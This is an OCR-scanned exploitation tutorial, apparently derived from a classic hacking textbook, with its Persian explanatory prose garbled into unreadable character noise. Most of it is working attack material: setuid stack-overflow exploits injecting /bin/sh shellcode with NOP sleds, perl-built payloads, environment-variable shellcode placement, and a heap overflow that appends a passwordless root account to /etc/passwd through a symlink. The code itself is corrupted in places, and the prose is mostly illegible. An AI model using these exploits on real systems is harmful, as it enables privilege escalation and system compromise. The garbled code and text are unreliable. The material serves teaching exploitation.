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Begin going east on Main street;
Until (there is a church on the right)

{
Drive down Main;
}
If (street is blocked)
{

Turn (right, 15th street);
Turn (left, Pine street);
Turn (right, 1l6th street);

}
else
{
Turn (right, 16th street);
}

Turn (left, Destination Road);
For (5 iterations)

{

Drive straight for 1 mile;

}
Stop at 743 Destination Road;
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Function Turn(the direction, the street)
{

locate the street;

slow down;



if (the direction == right)
{

turn on the right blinker;

turn the steering wheel to the right;
}

else

{
turn on the left blinker;
turn the steering wheel to the left;

}
speed back up

}
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char character variable;
char character array[10];
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char buffer[10];

}
void main ()
{
test function(l, 2, 3, 4);
}
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overflow.c code
void overflow function (char *str)

{
char buffer[20];

strcpy (buffer, str); // Function that copies str to buffer
}

int main ()

{
char big string[128];
int 1i;

for (i=0; i < 128; i++) // Loop 128 times
{

big string[i] = 'A'; // And fill big string with 'A's
}

overflow function(big string);
exit (0) ;
}
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$ gcc -o overflow overflow.c
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vuln.c code
int main(int argc, char *argvl([])
{
char buffer[500];
strcpy (buffer, argvi[l]):;
return 0;

}
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$ gcc -o vuln vuln.c
$ ./vuln test
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$ sudo chmod +s wvuln
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exploit.c code
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xcO"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xeb\xff\xff\xXxff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void) // This is just a little function
{ asm__ ("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv([])
{
int i, offset;
long esp, ret, *addr ptr;
char *buffer, *ptr;

offset = 0; // Use an offset of 0
esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address
printf ("Stack pointer (ESP) : 0x%x\n", esp);
printf (" Offset from ESP : 0x%x\n", offset);

printf ("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc (600);

// Fill the entire buffer with the desired ret address
ptr = buffer;

addr_ptr = (long *) ptr;
for(i=0; 1 < 600; i+=4)
{ *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
for (i=0; 1 < 200; i++)
{ buffer[i] = "\x90'; }

// Put the shellcode after the NOP sled
ptr = buffer + 200;

for (i=0; i < strlen(shellcode); i++)

{ *(ptr++) = shellcode[i]; }

// End the string
buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
execl ("./vuln", "vuln", buffer, 0);

// Free the buffer memory
free (buffer);

return O;
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$ gcc -o exploit exploit.c
$ ./exploit
Stack pointer (ESP) : Oxbffff978

Offset from ESP : 0xO0
Desired Return Addr : Oxbffff978
sh-2.05a# whoami
root
sh-2.05a#
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$ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA
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$ perl -e 'print "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAA
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$ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "zZ";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiz
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$ 'perl -e 'print "uname";''
Linux
$ una'perl -e 'print "m";''e
Linux
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$ ./vuln 'perl -e 'print "\x90"x200;"''
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$ perl -e 'print
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x

89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\
xFE\xEff\x2f\x62\x69\x6e\x2f\x73\x68";"' > shellcode

9 Jo8 Ji Colle Cd> S L 0g=iST.cdb "shellcode” ol )5 1) 3S-Jis Olgs g0 sgiws ol QLG I G
Lod g 49 1) 3S= s Olgd (o0 B9 Oaod Jl 23l b 5,8 Lol o> b 4 |) 35— Olgi (5o CAL ) giws
23,5 Lol NOP

$ ./vuln 'perl -e 'print "\x90"x200;'"cat shellcode'
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$ ./vuln 'perl -e 'print "A"x202;'"cat shellcode'
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$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x78\xfI\xff\xbf"x88;""
sh-2.05a# whoami

root
sh-2.05a#
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$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print

"\x68\xfI\xff\xbf"x68;""

$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print

"\x68\xfI\xff\xbf"x69; "'

Segmentation fault

$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print

"\x68\xfO\xff\xbf"x70;""'
sh-2.05a#
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vuln2.c code
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int main (int argc, char *argv([])
{
char buffer[5];
strcpy (buffer, argv[1l]);
return O;

sCamwl 334 2315 OT 4 SUId jaomo 33,5 w3y caamw | g3 4 4] sl 9 83 JobolS VUIN2.C 35 0 J>

$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod u+s vuln2

SLz o 0L 13 63100 3929 3S— Jud 03 =S VLSl (5l (o bad ] Cub O lgs vuln2 s 8L ojlail Oe
Canl (hazmo putio S5 S-S SISz camlio OlS0 S L35 0 03D (5500
23l Cuy gheanST gl 5 9l 3L 2l ped 4 3 T b 5121 g 45 exploit.c a5 s execl() gb
Gl (ghuzro 23383 QUi 45 315 SLol OlogS )T S @bl .31 e execle() pb 4 03lgls ob U S
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env_exploit.c code
#include <stdlib.h>

char shellcodel] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xcO"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x84d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv([])
{
char *env[2] = {shellcode, NULL};
int i;
long ret, *addr ptr;
char *buffer, *ptr;

// Allocate 40 bytes for buffer (on the heap)
buffer = malloc (40);

// Calculate the location of the shellcode
ret = Oxbffffffa - strlen(shellcode) - strlen("./vuln2");

// Fill the entire buffer with the desired ret address
ptr = buffer;

addr_ptr = (long *) ptr;

for (1i=0; 1 < 40; i+=4)

{ *(addr_ptr++) = ret; }

// End the string
vy



buffer[40-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
// and using the environment env as its environment.
execle ("./vuln2", "vuln2", buffer, 0, env);

// Free the buffer memory
free (buffer);

return 0;

et (g0 L) Wb szl 9 JololS Sl Jool> (29,05 0 0o
$ gcc -o env_exploit env_exploit.c
$ ./env_exploit
sh-2.05a# whoami

root
sh-2.05a#
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$ export SHELLCODE='perl -e 'print "\x90"x100;'"cat shellcode'
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$ gdb wvuln2

GNU gdb 5.2.1

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you
are

welcome to change it and/or distribute copies of it under certain
conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...

(gdb) break main

Breakpoint 1 at 0x804833e

(gdb) run

Starting program: /hacking/vuln2

Breakpoint 1, 0x0804833e in main ()

(gdb) x/20s $esp

Oxbffff£8d0: "0\234\002@\204\204\024@
\203\004\bR\202\004\b0\202\004\b\204\204\024@00%¢:F\202\004
\b\200u\004@\204\204\024@ (uy¢;B;\003@\001"

Oxbff£f£902: nn

Oxbfff£903: nn

v



Oxbfff£f904:
Oxbffff911:
Oxbfff£f912:
Oxbfff£f913:
Oxbffff914:
Oxbfff£f917:
Oxbffff922:
Oxbffff923:
Oxbffff924:
Oxbff£f£929:
Oxbffff92a:
Oxbffff92b:
Oxbffff92c:
Oxbffff936:
Oxbff££937:
Oxbffff938:
Oxbffff947:

(gdb)

Oxbfff£f952:
Oxbfff£953:
Oxbffff954:
Oxbffff959:
Oxbffff95a:
Oxbffff95b:
Oxbffff95c:

"7 \\ ¢ \200\202\004\b"

nwn
wn

wn

"P¢ "
"@\\C\024@TU\OO1@\OOL"

"\200\202\004\b"
"i\202\004\b8\203\004\b\0O1"

wn

"T§:0\202\004\b \203\004\b\020***"
"ELuY: 'Z\001@\001"

mwr

mn

A\ iy e 10
euyé

mn

mwr

wn

"taye \2010y¢
Gy ANV XUy YAV i0y¢ \035Uy e =tiy¢ \211Uy¢ ¢y RUY ALY DUV a7 \202yy e \227yy
& Y¥e0yyeoyye\002pyi\npye-pyeUpye\206pye\220py\236pye *pyeIpyexpyeUyye”

Oxbfff£9d9: "

Oxbffff9da:
Oxbffff9db:
Oxbffff9dc:
Oxbffffode:
Oxbffffodf:
Oxbffff9el:
Oxbffff9eb6:
Oxbffff9e7:
Oxbffff9e8:
Oxbffff9e9:
Oxbffff9eb:
OxbffffOec:

(gdb)

OxbffffOee:
Oxbffff9ef:
Oxbffff9f0:
Oxbffffof2:
Oxbffff9f3:
Oxbffff£fof4:
Oxbffffofo:
Oxbffffof7:
Oxbffffofs8:
Oxbffffofe:
Oxbffffoff:
Oxbffffal0:
Oxbffffal2:
Oxbffffal3:
Oxbffffal4:
Oxbffffalo6:
Oxbffffal7:
Oxbffffal8:
Oxbffffala:
Oxbffffalb:

(gdb)

Oxbffffalc:
Oxbffffale:
Oxbffffalf:
Oxbffffall:

e

"\020"
"$u\203\003\006"

"\020"

nmn

"\021"

ngn

"\003"
"4\200\004\b\004"
"\005"

"\006"

nwn

"\a"

nmn
nmn

nwn



Oxbffffall:
Oxbffffal2:
Oxbffffal3:
Oxbffffal6:
Oxbffffal7:
Oxbffffal8:
Oxbffffal9:
Oxbffffala:
Oxbffffalb:
Oxbffffalc:
Oxbffffale:
Oxbffffalf:
Oxbffffa20:
Oxbffffa26:
Oxbffffa27:
Oxbffffa28:

(gdb)

Oxbffffalb:
Oxbffffalc:
Oxbffffale:
Oxbffffa2f:
Oxbffffa30:
Oxbffffa33:
Oxbffffa34:
Oxbffffal6:
Oxbffffal7:
Oxbffffa38:
Oxbffffa3a:
Oxbffffa3b:
Oxbffffa3c:
Oxbffffa3le:
Oxbffffa3f:
Oxbffffadl:
Oxbffffad2:
Oxbffffad3:
Oxbffffadd:
Oxbffffado:

(gdb)

Oxbffffad7:
Oxbffffads8:
Oxbffffadd:
Oxbffffade:
Oxbffffadf:
Oxbffffa50:
Oxbffffab51:
Oxbffffab2:
Oxbffffab3:
Oxbffffab4:
Oxbffffab55:
Oxbffffab56:
Oxbffffab57:
Oxbffffab8:
Oxbffffab59:
Oxbffffaba:
OxbffffaSb:
Oxbffffabc:
Oxbffffabd:
Oxbffffabe:

(gdb)

Oxbffffa5f:
Oxbffffa60:
Oxbffffa65:
Oxbffffa74:
Oxbffffa8l:
Oxbffffaal:
Oxbffffac3:
Oxbffffad7:

Yo

"@\b"
"\t"
"\200\202\004\b\v"

wn

né\oo3n

nn
" \ f "
nn
nn

"é\oo3"

nn
" \ r "

nn

nn

g

nn

nn
"\016"
nn

nn

ngn

nn

nn

"\017"

nmn

nwn
w UY(', "
nmn
nmn
nwn
nwn
wn
nmn
nmn
nwn
wn
wn
nmn
nmn
nwn
wn
wn
nmn
nmn

nwn

wn

"i686"

"/hacking/vuln2"

"PWD=/hacking"
"XINITRC=/etc/X11l/xinit/xinitrc"
"JAVAC=/opt/sun-jdk-1.4.0/bin/javac"
"PAGER=/usr/bin/less"

"SGML_ CATALOG_FILES=/etc/sgml/sgml-ent.cat

:/etc/sgml/sgml-



docbook.cat:/etc/sgml/openjade-1.3.1.cat:/etc/sgml/sgml-docbook-
3.1.cat:/etc/sgml/sgml-docbook-3.0.cat:/etc/sgml/dsssl-docbook-
stylesheets.cat:"...

Oxbffffb9of: "/etc/sgml/sgml-docbook-4.0.cat:/etc/sgml/sgml-docbook-
4.1.cat"

Oxbffffbdd: "HOSTNAME=overdose"

Oxbffffbef: "CLASSPATH=/opt/sun-jdk-1.4.0/jre/lib/rt.jar:."
Oxbffffcld: "VIMRUNTIME=/usr/share/vim/vim6l"

Oxbffffc3d:
"MANPATH=/usr/share/man:/usr/local/share/man:/usr/X11R6/man:/opt/insight/ma
n"

Oxbffffc89: "LESSOPEN=|lesspipe.sh %s"

Oxbffffca2: "USER=matrix"

Oxbffffcae: "MAIL=/var/mail/matrix"

Oxbffffccéd: "CVS RSH=ssh"

OxbffffcdO: "INPUTRC=/etc/inputrc"

Oxbffffceb: "SHELLCODE=", '\220' <repeats 100 times>,
"1IACFIULIEIN2008\026 [1A\210C\a\211 [\b\211C\£°\v\215K\b\2158\fI\200&4¥yyy/bin/
sh"

Oxbffffd82: "EDITOR=/usr/bin/nano"

(gdb)

Oxbffffdo7: "CONFIG PROTECT MASK=/etc/gconf"

Oxbffffdb6: "JAVA HOME=/opt/sun-jdk-1.4.0"

Oxbffffdd3: "SSH CLIENT=10.10.10.107 3108 22"

Oxbffffdf3: "LOGNAME=matrix"

Oxbffffel2: "SHLVL=1"

Oxbffffela: "MOZILLA FIVE HOME=/usr/lib/mozilla"

Oxbffffe2d: "INFODIR=/usr/share/info:/usr/X11R6/info"
Oxbffffe55: "SSH CONNECTION=10.10.10.107 3108 10.10.11.110 22"
Oxbffffe86: " =/bin/sh"

Oxbffffe90: "SHELL=/bin/sh"

Oxbffffe9e: "JDK_HOME=/opt/sun-jdk-1.4.0"

Oxbffffeba: "HOME=/home/matrix"

Oxbffffecc: "TERM=1linux"

Oxbffffed7:

"PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/opt/sun-
jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/opt/insight/bin:.:/opt/j2rel.4.1/bin:/sbin:/usr/sbin:/usr/lo

cal/sbin

:/home/matrix/bin:/sbin"...

Oxbfffffof: ":/usr/sbin:/usr/local/sbin:/sbin:/usr/sbin:/usr/local/sbin"
Oxbfffffda: "SSH_TTY:/deV/ptS/l"

Oxbfffffed: "/hacking/vuln2"

Oxbffffffc: nn

Oxbffffffd: nn

Oxbffffffe: nn

(gdb) x/s Oxbffffceb

Oxbffffceb: "SHELLCODE=", '\220' <repeats 100 times>,
"1A°F1UIEIN200&\026[1A\210C\a\211 [\b\211C\f°\v\215K\b\215S\fI1\200&4%y¥/bin/
Sh"

(gdb) x/s Oxbffffcfb

Oxbffffcf5: "\220"'" <repeats 94 times>,

"1A°F1U1EIN200&8\026[1A\210C\a\211 [\b\211C\£°\v\215K\b\215S\fI\200&4¥yy/bin/
Sh"

(gdb) quit

The program is running. Exit anyway? (y or n) vy

39 g0 VLS| o dT 4 ol 1 £ 13wl juwi (b )+ ) "SHELLCODE=" @i, Jold w7 cpl bol .39
13J cCaml w‘.«a Lo 6LA.9NOP Ao )gmw > ol ) e e s )l |)NOP Ao )gmw > &9'9 @lS..o un))T v

sl (IS o i > S 4 (ol 15 OT Oad 6Ll pi2y) s 3T OT 0392 §:55 4 jbs g

Y



e o )3 35— i 4S 3h pades 9 315 0L NOP doiygun slaisl S5 35 1) OXbFFCES 5T jSlys
Jsd Ji5 cuolle jl 295 S 9 U il o3kl 9 ledbl oyl abls Jlzsl )3 b .l 238 5 >3 SHELLCODE

23,5 Co kS ) Sygo 41y p 3y a4l Olg5 (o0
$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10;"'"'
sh-2.05a# whoami

root
sh-2.05a#

=) SLalhs 5 Lo 0901 .3 () 0 e paw 4 Sisannd L 3L > Lo3l5 S 1) (2 b Sl 3> pao 9L 1330

2023 (g0 OUES Cob PP S (g giolr 1) CuS o yoidT 351550 jgins 45 0L (sl 1) oSee 1k (2 j5eS

$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10;"''

sh-2.05a# exit

$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x9; "'

sh-2.05a# exit

$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x8;"''

sh-2.05a# exit

$ ./vuln2 'perl -e 'print "\xfb\xfc\xff\xbf"x7;"''

Segmentation fault

$
O 2lgi o 4ol o =l sl 25l (slosaly %b)ag.s.ﬁumysbu)a&mgs.ﬁuu)Awa)) $lr S o9

Lo 1) OlogS )T 4ol py 31358 23kt byzo 43 40l OlogS )T ol 03,5 | sl getenv() @b jl (Sslw

D9d o0 g Sumdg plo oL Dygo opl i 03 93,8 2l Ol LT GusT s
getenvaddr.c code
#include <stdlib.h>

int main(int argc, char *argv([])
{
char *addr;
if (argc < 2)
{
printf ("Usage:\n%s <environment variable name>\n", argv[0]);
exit (0);
}
addr = getenv(argv[1l]);

if (addr == NULL)
printf ("The environment variable %s doesn't exist.\n", argv[l]);
else

printf ("%$s is located at %p\n", argv[l], addr);
return 0;

}
= SHELLCODE  Jxo jagio w51 8 Jsbiie 4 1) getenvaddr.c 4ol slpl 9 JokolS J=lpo pj >

$ gcc -o getenvaddr getenvaddr.c

$ ./getenvaddr SHELLCODE

SHELLCODE is located at Oxbffffcec
$
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$ ./vuln2 'perl -e 'print "\xec\xfc\xff\xbf"x8;"''
sh-2.05a# whoami

root

sh-2.05a#
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$ gcc -o a getenvaddr.c

$ ./a SHELLCODE

SHELLCODE is located at Oxbffffcfe

$ cp a bb

$ ./bb SHELLCODE

SHELLCODE is located at Oxbffffcfc

$ cp bb ccc

$ ./ccc SHELLCODE
SHELLCODE 1is located at Oxbffffcfa

25U 03 gl puianl hamo Lo pusite 050 3 1yl I3 4ol pb Jgb 31> Olis b ialejT S jshilen
it 3T 1ol Vol p pb Jgb 4 Cul sd 03 BLoI L S 35T (o 15 4 Jgb ol WIS 359, .l 138
O Jsb QWS 09 cml G3bo s getenvaddr (g bo 4ol 0 pU b dhul) )5 A (ol 59 (g0 05 o
Sl s T Gam SS9 <ol A L ol m (S ruls 4l pb) @ SIS 9 (i 55 pU) getenvaddr sl pb

.l cob 1A s Oxbffffcec ¢ Oxbffffcte
e Uiy 1) oo pitio 3485 o T o3y T 4ol o syl pid 4 Olgs (00 OIS ol bl Jlisl s b
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$ export SHELLCODE='cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0Oxbffffd50
$

ol ) 48 cowl getenvaddr laial) b 0 pU 9 3515 Jsb Cul 0 45 Canl VUIN2 103y s 40l pU 092
Wb pb Usb 45 1z 392 ales yidn Cul ) o 3= s T 3y el @b p szl Oloj s 130 )15 Jsb
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$ ./vuln2 'perl -e 'print "\xSa\xfd\xff\xbf"x8;''
sh-2.05a# whoami

root

sh-2.05a#
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heap.c code
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argvl([])
{
FILE *fd;

// Allocating memory on the heap
char *userinput = malloc (20);
char *outputfile = malloc (20);

if (argc < 2)

{
printf ("Usage: %$s <string to be written to /tmp/notes>\n", argv[0]);
exit (0);

}

// Copy data into heap memory
strcpy (outputfile, "/tmp/notes");
strcpy (userinput, argv([1l]);

// Print out some debug messages
printf ("---DEBUG--\n") ;
printf (" [*] userinput @ %p: %$s\n", userinput, userinput);

¥10-1)*2=18
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printf ("[*] outputfile @ %p: %s\n", outputfile, outputfile);
printf ("[*] distance between: %d\n", outputfile - userinput);

// Writing the data out to the file.
printf ("Writing to \"%s\" to the end of %s...\n", userinput, outputfile);
fd = fopen (outputfile, "a");
if (fd == NULL)
{
fprintf (stderr, "error opening %s\n", outputfile);
exit (1) ;
}
fprintf (fd, "%$s\n", userinput);
fclose (fd);

return 0;
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gcc -o heap heap.c
sudo chown root.root heap
sudo chmod uts heap

./heap testing
--DEBUG--
*] userinput @ 0x80498d0: testing
*] outputfile @ 0x80498e8: /tmp/notes
*] distance between: 24

Writing to "testing" to the end of /tmp/notes...
$ cat /tmp/notes

testing
$ ./heap more stuff
-—--DEBUG--

[*] userinput @ 0x80498d0: more stuff
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24

Writing to "more stuff" to the end of /tmp/notes...
$ cat /tmp/notes

testing

more stuff

$
J=B ) ad) O G 9 48,5 | (4d) Olgsie ) 3>l OlogS )T S 45 Canwl 33k biearss 40l po S o0

9, outputfile e jl Jud userinput josio 4didl> 45 Sl ol S5 Il 4S5 . 2iSo 49Lal /tmp/notes
S9ie 383 g0 S £090 2l 03 by 13 1y Lo 4ol I 155 B! (g9 5 -l 4iBly yanass heap
ol 22 @619 0x80498€8 5T 5 outputfile 8L 9 0x80498d0 5T ,5 userinput 3L 45 cul
2313 1o (2 yitdey 13 el 4Bl GLY g2 ASUIS b 3L opudsl 092 3L o Culb VE )T 93 ol deols
Wi (= Ol (50 392 2lg3 Culi PV 2SS o) (5322 3L > 4SSl 092 313 JLB 8L ol ) Ol (0 €S 4l
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$ ./heap 12345678901234567890123

-—--DEBUG--

[*] userinput @ 0x80498d0: 12345678901234567890123
[*] outputfile @ 0x80498e8: /tmp/notes

[*] distance between: 24

Writing to "12345678901234567890123" to the end of /tmp/notes...
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$ cat /tmp/notes

testing

more stuff

12345678901234567890123

$ ./heap 123456789012345678901234

—-—-DEBUG--

[*] userinput @ 0x80498d0: 123456789012345678901234
[*] outputfile @ 0x80498e8:

[*] distance between: 24

Writing to "123456789012345678901234" to the end of
error opening ¥h

$ cat /tmp/notes

testing

more stuff

12345678901234567890123

$
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o=l 3=S s ju e outputfile L slazul 0 Z92 & 2383 0Ll Cob oS (oo Ol ) (oL PF ObegS )1
3L BB G Olgie 4 15T Olgs 03 Lobuse 45 330 Z93 Cul S5 25k outputfile cunle 45 59 oo s o

B o G 4 5,5 g0 jus o OULPULTILE 8L 45 Z9s Cob Lol jod jui 55 uz STl s ,S
$ ./heap 123456789012345678901234testfile
---DEBUG--
[*] userinput @ 0x80498d0: 123456789012345678901234testfile
[*] outputfile @ 0x80498e8: testfile
[*] distance between: 24

Writing to "123456789012345678901234testfile" to the end of testfile...
$ cat testfile

123456789012345678901234testfile

$

S9) g Sz 4 4ol o 398 o umw 45 Cawl 23,5 ju e OUtputfile ,8L s testfile aus ) aeds ¢l
a5 ploul 1) IS cpl s testfile g9, p (592 83d o g5 40 0 JIS (ol plouil sl Juol Js 4S) /tmp/notes
Dgd o dubgs J s userinput olgie 4 @l JS 13 9d (00 035193 Zoy ol w395 0 Oloj U ) S
S 3 1) B ol Olgi e 130 03,8 JaS Bl S s ) osls oridgs Olgs go 9 Canl SUId 4ol o o2l 092
D23 0Lk ol 8 pb L a1y b Weo 35,15 jui (2 Cudgazme B osls ol bl .ulbgs

03,5 Blalal) o 5 oly 2ls .35 15 3929 (b Cubl uiz jl oolitw] g 9 03,5 o ghewST (51w 0l (i
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$ cp /etc/passwd /tmp/passwd.backup

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm: /bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
man:x:13:15:man:/usr/man:/bin/false
nobody:x:65534:65534:nobody:/:/bin/false
matrix:x:1000:100::/home/matrix:
sshd:x:22:22:sshd:/var/empty:/dev/null

$
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PL g0 4 ik OT 43 45 3398 0 a2 @2 jI (2) IS b dhaiis 93 sl ST L /ete/passwd b > aaks
pL (Group-ID) 29,8 awlits (User-ID) oIS awlids (password) ygae jwo, (login name) s 4 599
plos . (login shell) piww 4 59,9 diwgs Lol 9 (home directory) S5l 45Ls ((username) )8
2= o a3 shadow L1 5 55 ol )5 03 ju) 3 g 45 1z il oad ju X 5SS L > gmn slasksd
0 65 4wl Ll 45 3 9m J218 )3 2,8 2 4 29Uy . Cannad Jgue jo) 4 jl 3L JB ald ] ST Ll 50
Joas 4 0 5 Sy 03,5 BLal 1) a5 Bob Olgs oo g0 Gl 4.3 3algs Uacl Ay ) OS] b b
GO Al Sjuz puS BLAl s gmy JB 4 b &S (b3 13 .Cuils Jgae oy 092 9 Winy OS] mhao b >)gumy

390 Jalg> o k>
myroot::0:0:me:/root:/bin/bash
s g /ete/passwd Jo s Lids 1) bs ol 45 51> salgss ol 40l u s heap sy pw g9 ool cudlo Ll

L J=b o=l pU B o 81U (I b.aob 40315 /ete/passwd b sl aad 4Ll 4l s )S5 45 b Olod O3
L 1) c93mo ol Olgine Lol .39 3algs Ble 5 ygm Jo 43 0,80 0T Jislo ouiS L] 395 080 slesl 4
i) b o 35lgs (e 0 -8 I3 5,5 &5, Symbolic file link) Sdsow & yg0 4 L6 Jlas! ) 55l
S grew Jlas! plonil (S538 jm) 0> 39d aslid jime 3 gm S ) Sl e 9 0L OLL /ete/passwd

e 0 ) o0
$ mkdir /tmp/etc
$ 1In -s /bin/bash /tmp/etc/passwd
$ /tmp/etc/passwd
$ exit
exit
$ 1s -1 /tmp/etc/passwd
1YWXTrWXYWX 1 matrix users 9 Nov 27 15:46 /tmp/etc/passwd ->
/bin/bash

—, 3—=S s o L_isl "/bin/bash" gl 3 a—wss 4 "/tmp/etc/passwd" ai ) —sl> JL> 5
Olgmie 4 o) b 13 39 (oo Sl 3 9ma JB (sl w rine (53909 pU G Olgie 4 s "/tmp/ete/passwd”

2392 2algs 5 g 18 o juino b 80 S
myroot::0:0:me:/root:/tmp/etc/passwd
Jo-b cob VI s> "ete/passwd"” jl B Cuomd 4S5 gk oud s juits (5)1d0 ) b3 ol o 3lie Canl (SIS L

bl ausls
$ echo -n "myroot::0:0:me:/root:/tmp" | wc
0 1 25
$ echo -n "myroot::0:0:m:/root:/tmp" | wc
0 1 24
$

4y il a3 p23y T 4ab 4 1) "myroot::0:0:m:/root:/tmp/etc/passwd” awd,) )51 )g0 ol 4
g ) o) Ol mhiw 9 G 3 9m SWIS b3 (ol 093 9 2 salgs BLsl /ete/passwd Jobb slesl 4

DD
$ ./heap myroot::0:0:m:/root:/tmp/etc/passwd
---DEBUG--
[*] userinput @ 0x80498d0: myroot::0:0:m:/root:/tmp/etc/passwd

[*] outputfile @ 0x80498e8: /etc/passwd
[*] distance between: 24

Writing to "myroot::0:0:m:/root:/tmp/etc/passwd" to the end of
/etc/passwd. ..
$ cat /etc/passwd
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root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
man:x:13:15:man:/usr/man:/bin/false
nobody:x:65534:65534:nobody:/:/bin/false
matrix:x:1000:100::/home/matrix:
sshd:x:22:22:sshd:/var/empty:/dev/null
myroot::0:0:m:/root:/tmp/etc/passwd

$

$ su myroot

# whoami

root

# id

uid=0 (root) gid=0(root) groups=0(root)

#
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bss game.c code

#include <stdlib.h>
#include <time.h>

int game (int);
int Jjackpot ()

int main(int argc, char *argv([])
{
static char buffer[20];

static int (*function ptr) (int user pick);

if (argc < 2)
{

printf ("Usage: %s <a number 1 - 20>\n",

argv([0]);

printf ("use %s help or %$s -h for more help.\n", argv[0], argv[0]);

exit (0);
}

// Seed the randomizer
srand (time (NULL)) ;

// Set the function pointer to point to the game function.

function ptr = game;

// Print out some debug messages
printf ("---DEBUG--\n") ;

Y



printf (" [before strcpy] function ptr @ %p:
sp\n", &function ptr, function ptr);
strcpy (buffer, argv[1l]);

printf (" [*] buffer @ %p: %s\n", buffer, buffer);
printf ("[after strcpy] function ptr @ %p:

sp\n", &function ptr, function ptr);

if (argc > 2)
printf (" [*] argv([2] @ %p\n", argv([2]);

// If the first argument is "help" or "-h" display a help message

if ((!strcmp (buffer, "help")) || (!strcmp(buffer, "-h")))

{
printf ("Help Text:\n\n");
printf ("This is a game of chance.\n");
printf ("It costs 10 credits to play, which will be\n");
printf ("automatically deducted from your account.\n\n");
printf ("To play, simply guess a number 1 through 20\n");
printf (" %s <guess>\n", argv[0]);
printf ("If you guess the number I am thinking of,\n");
printf ("you will win the Jjackpot of 100 credits!\n");

}

else

// Otherwise, call the game function using the function pointer
{
function ptr(atoi (buffer));
}
}

int game (int user pick)
{

int rand pick;

// Make sure the user picks a number from 1 to 20
if ((user pick < 1) || (user_pick > 20))
{
printf ("You must pick a value from 1 - 20\n");
printf ("Use help or -h for help\n");
return;

}

printf ("Playing the game of chance..\n");
printf ("10 credits have been subtracted from your account\n");
/* <insert code to subtract 10 credits from an account> */

// Pick a random number from 1 to 20
rand pick = (rand()% 20) + 1;

printf ("You picked: %d\n", user pick);
printf ("Random Value: %d\n", rand pick);

// If the random number matches the user's number, call jackpot ()
if (user pick == rand pick)
jackpot () ;
else
printf ("Sorry, you didn't win this time..\n");

}

// Jackpot Function. Give the user 100 credits.

int jackpot ()

{
printf ("You just won the Jjackpot!\n");
printf ("100 credits have been added to your account.\n");
/* <insert code to add 100 credits to an account> */
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$ gcc -o bss _game bss _game.c
$ ./bss_game
Usage: ./bss _game <a number 1 - 20>
use ./bss _game help or ./bss game -h for more help.
$ ./bss _game help
---DEBUG--
[before strcpy] function ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: help
[after strcpy] function ptr @ 0x8049c88: 0x8048662

Help Text:

This is a game of chance.
It costs 10 credits to play, which will be
automatically deducted from your account.

To play, simply guess a number 1 through 20
./bss_game <guess>

If you guess the number I am thinking of,

you will win the jackpot of 100 credits!

$ ./bss_game 5

—-—-DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662

[*] buffer @ 0x8049c74: 5

[after strcpy] function ptr @ 0x8049c88: 0x8048662

Playing the game of chance..

10 credits have been subtracted from your account
You picked: 5

Random Value: 12

Sorry, you didn't win this time..

$ ./bss_game 7

-—--DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 7

